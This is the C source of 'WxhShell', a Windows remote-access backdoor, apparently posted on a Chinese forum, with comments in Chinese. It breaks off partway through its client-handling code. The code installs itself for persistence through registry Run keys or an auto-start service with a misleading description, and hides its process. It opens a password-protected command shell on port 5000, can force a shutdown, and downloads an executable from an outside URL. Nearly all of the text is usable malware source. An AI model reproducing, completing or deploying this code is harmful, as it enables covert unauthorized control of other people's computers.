- #include "stdafx.h"
- #include <stdio.h>
- #include <string.h>
- #include <windows.h>
- #include <winsock2.h>
- #include <winsvc.h>
- #include <urlmon.h>
- #pragma comment (lib, "Ws2_32.lib")
- #pragma comment (lib, "urlmon.lib")
- #define MAX_USER 100 // 最大客户端连接数
- #define BUF_SOCK 200 // sock buffer
- #define KEY_BUFF 255 // 输入 buffer
- #define REBOOT 0 // 重启
- #define SHUTDOWN 1 // 关机
-
- #define DEF_PORT 5000 // 监听端口
- #define REG_LEN 16 // 注册表键长度
- #define SVC_LEN 80 // NT服务名长度
- // 从dll定义API
- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
- // wxhshell配置信息
- struct WSCFG {
- int ws_port; // 监听端口
- char ws_passstr[REG_LEN]; // 口令
- int ws_autoins; // 安装标记, 1=yes 0=no
- char ws_regname[REG_LEN]; // 注册表键名
- char ws_svcname[REG_LEN]; // 服务名
- char ws_svcdisp[SVC_LEN]; // 服务显示名
- char ws_svcdesc[SVC_LEN]; // 服务描述信息
- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
- int ws_downexe; // 下载执行标记, 1=yes 0=no
- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
- };
- // default Wxhshell configuration
- struct WSCFG wscfg={DEF_PORT,
- "xuhuanlingzhe",
- 1,
- "Wxhshell",
- "Wxhshell",
- "WxhShell Service",
- "Wrsky Windows CmdShell Service",
- "Please Input Your Password: ",
- 1,
- "http://www.wrsky.com/wxhshell.exe",
- "Wxhshell.exe"
- };
- // 消息定义模块
- char *msg_ws_copyright="\n\rWxhShell v1.0 ©2005 [url=http://www.wrsky.com\n\rMake]http://www.wrsky.com\n\rMake[/url] by 虚幻灵者\n\r";
- char *msg_ws_prompt="\n\r? for help\n\r#>";
- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
- char *msg_ws_ext="\n\rExit.";
- char *msg_ws_end="\n\rQuit.";
- char *msg_ws_boot="\n\rReboot...";
- char *msg_ws_poff="\n\rShutdown...";
- char *msg_ws_down="\n\rSave to ";
- char *msg_ws_err="\n\rErr!";
- char *msg_ws_ok="\n\rOK!";
- char ExeFile[MAX_PATH];
- int nUser = 0;
- HANDLE handles[MAX_USER];
- int OsIsNt;
- SERVICE_STATUS serviceStatus;
- SERVICE_STATUS_HANDLE hServiceStatusHandle;
- // 函数声明
- int Install(void);
- int Uninstall(void);
- int DownloadFile(char *sURL, SOCKET wsh);
- int Boot(int flag);
- void HideProc(void);
- int GetOsVer(void);
- int Wxhshell(SOCKET wsl);
- void TalkWithClient(void *cs);
- int CmdShell(SOCKET sock);
- int StartFromService(void);
- int StartWxhshell(LPSTR lpCmdLine);
- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
- VOID WINAPI NTServiceHandler( DWORD fdwControl );
- // 数据结构和表定义
- SERVICE_TABLE_ENTRY DispatchTable[] =
- {
- {wscfg.ws_svcname, NTServiceMain},
- {NULL, NULL}
- };
- // 自我安装
- int Install(void)
- {
- char svExeFile[MAX_PATH];
- HKEY key;
- strcpy(svExeFile,ExeFile);
- // 如果是win9x系统,修改注册表设为自启动
- if(!OsIsNt) {
- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
- RegCloseKey(key);
- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
- RegCloseKey(key);
- return 0;
- }
- }
- }
- else {
- // 如果是NT以上系统,安装为系统服务
- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
- if (schSCManager!=0)
- {
- SC_HANDLE schService = CreateService
- (
- schSCManager,
- wscfg.ws_svcname,
- wscfg.ws_svcdisp,
- SERVICE_ALL_ACCESS,
- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
- SERVICE_AUTO_START,
- SERVICE_ERROR_NORMAL,
- svExeFile,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL
- );
- if (schService!=0)
- {
- CloseServiceHandle(schService);
- CloseServiceHandle(schSCManager);
- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
- strcat(svExeFile,wscfg.ws_svcname);
- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
- RegCloseKey(key);
- return 0;
- }
- }
- CloseServiceHandle(schSCManager);
- }
- }
- return 1;
- }
- // 自我卸载
- int Uninstall(void)
- {
- HKEY key;
- if(!OsIsNt) {
- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
- RegDeleteValue(key,wscfg.ws_regname);
- RegCloseKey(key);
- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
- RegDeleteValue(key,wscfg.ws_regname);
- RegCloseKey(key);
- return 0;
- }
- }
- }
- else {
- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (schSCManager!=0)
- {
- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
- if (schService!=0)
- {
- if(DeleteService(schService)!=0) {
- CloseServiceHandle(schService);
- CloseServiceHandle(schSCManager);
- return 0;
- }
- CloseServiceHandle(schService);
- }
- CloseServiceHandle(schSCManager);
- }
- }
- return 1;
- }
- // 从指定url下载文件
- int DownloadFile(char *sURL, SOCKET wsh)
- {
- HRESULT hr;
- char seps[]= "/";
- char *token;
- char *file;
- char myURL[MAX_PATH];
- char myFILE[MAX_PATH];
- strcpy(myURL,sURL);
- token=strtok(myURL,seps);
- while(token!=NULL)
- {
- file=token;
- token=strtok(NULL,seps);
- }
- GetCurrentDirectory(MAX_PATH,myFILE);
- strcat(myFILE, "\\");
- strcat(myFILE, file);
- send(wsh,myFILE,strlen(myFILE),0);
- send(wsh,"...",3,0);
- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
- if(hr==S_OK)
- return 0;
- else
- return 1;
- }
- // 系统电源模块
- int Boot(int flag)
- {
- HANDLE hToken;
- TOKEN_PRIVILEGES tkp;
- if(OsIsNt) {
- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
- tkp.PrivilegeCount = 1;
- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
- if(flag==REBOOT) {
- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
- return 0;
- }
- else {
- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
- return 0;
- }
- }
- else {
- if(flag==REBOOT) {
- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
- return 0;
- }
- else {
- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
- return 0;
- }
- }
- return 1;
- }
- // win9x进程隐藏模块
- void HideProc(void)
- {
- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
- if ( hKernel != NULL )
- {
- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
- FreeLibrary(hKernel);
- }
- return;
- }
- // 获取操作系统版本
- int GetOsVer(void)
- {
- OSVERSIONINFO winfo;
- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
- GetVersionEx(&winfo);
- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
- return 1;
- else
- return 0;
- }
- // 客户端句柄模块
- int Wxhshell(SOCKET wsl)
- {
- SOCKET wsh;
- struct sockaddr_in client;
- DWORD myID;
- while(nUser<MAX_USER)
- {
- int nSize=sizeof(client);
- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
- if(wsh==INVALID_SOCKET) return 1;
- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
- if(handles[nUser]==0)
- closesocket(wsh);
- else
- nUser++;
- }
- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
- return 0;
- }
- // 关闭 socket
- void CloseIt(SOCKET wsh)
- {
- closesocket(wsh);
- nUser--;
- ExitThread(0);
- }
- // 客户端请求句柄
- void TalkWithClient(void *cs)
- {
- SOCKET wsh=(SOCKET)cs;
- char pwd[SVC_LEN];
- char cmd[KEY_BUFF];
- char chr[1];
- int i,j;
- while (nUser < MAX_USER) {
- if(wscfg.ws_passstr) {
- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
- //ZeroMemory(pwd,KEY_BUFF);
- i=0;
- while(i<SVC_LEN) {
- // 设置超时
- fd_set FdRead;
- struct timeval TimeOut;
- FD_ZERO(&FdRead);
- FD_SET(wsh,&FdRead);
- TimeOut.tv_sec=8;
- TimeOut.tv_usec=0;
- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
- pwd[i]=chr[0];
- if(chr[0]==0xd || chr[0]==0xa) {
- pwd[i]=0;
- break;
- }
- i++;
- }
- // 如果是非法用户,关闭 socket
- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
- }
- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
- while(1) {
- ZeroMemory(cmd,KEY_BUFF);
- // 自动支持客户端 telnet标准
- j=0;
- while(j<KEY_BUFF) {
- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
- cmd[j]=chr[0];
- if(chr[0]==0xa || chr[0]==0xd) {
- &nb
复制代码 |